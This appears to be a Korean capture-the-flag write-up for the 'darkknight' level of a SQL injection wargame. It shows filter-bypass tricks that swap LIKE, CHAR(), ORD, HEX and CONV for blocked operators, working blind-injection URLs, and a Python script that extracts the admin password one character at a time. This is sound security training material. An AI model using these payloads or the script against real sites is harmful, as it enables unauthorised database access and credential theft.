darkknight
golem 문제와 유사하나, 문자 필터링이 조금 더 강화된 버전으로 보인다.
사용 불가능한 문자 리스트는 다음과 같다. ( (no) prob _ . () ' substr ascii = / (pw) ' )

EQUAL(=) 문자와 홑따옴표(’) 사용이 불가하므로 이 문자들은 (LIKE 절과 CHAR 함수로 대체해주었다.)
이 과정을 통해 admin 계정 패스워드 길이는 8 이라는 정보를 획득했다.
https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1%20OR%20id%20LIKE%20CHAR(97,100,109,105,110)%20AND%20LENGTH(pw)%3C10--+
[ . . . ]
https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1%20OR%20id%20LIKE%20CHAR(97,100,109,105,110)%20AND%20LENGTH(pw)%3C9--+

이제 다시 SQLi 페이로드를 작성한 후 admin 계정의 패스워드 정보 추출을 진행한다.
이 문제에서는 ASCII 함수를 필터링 하고 있으므로, 아래 함수들을 대신 사용하면 우회 가능하다.
(멀티바이트 값이 아니라면 ASCII, ORD 함수는 동일한 값을 반환한다.)
원본 (ASCII 필터링):
ASCII(SUBSTRING(pw,1,1)) > 64
대체 1: ORD()
ORD(SUBSTRING(pw,1,1)) > 64
대체 2: HEX()
HEX(SUBSTRING(pw,1,1)) > '40'
대체 3: CONV()
CONV(HEX(SUBSTRING(pw,1,1)),16,10) > 64
수정된 파이썬 스크립트는 아래와 같다.
import requests
TRAGET_URL = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
COOKIE = {'PHPSESSID' : 'COOKIE_VALUE'}
PASSWORD = ''
for i in range(1, 9):
for j in range(33, 123):
URL = TRAGET_URL + f"?no=1%20OR%20id%20LIKE%20CHAR(97,100,109,105,110)%20AND%20ORD(MID(pw,{i},1))<{j}--+"
res = requests.get(URL, cookies=COOKIE)
if "Hello admin" in res.text:
PASSWORD += chr(j - 1)
print(f"Extracted admin's password : {PASSWORD}")
break추출한 admin 계정의 패스워드를 사용하여 문제 풀이에 성공했다.
(no 파라미터는 사용하지 않아도 되므로 항상 쿼리문이 참이 되도록 스크립트만 수정해줬다.)
https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=0b70ea1f&no=1%20OR%201--+

🐛.. 🐛.. 🐛..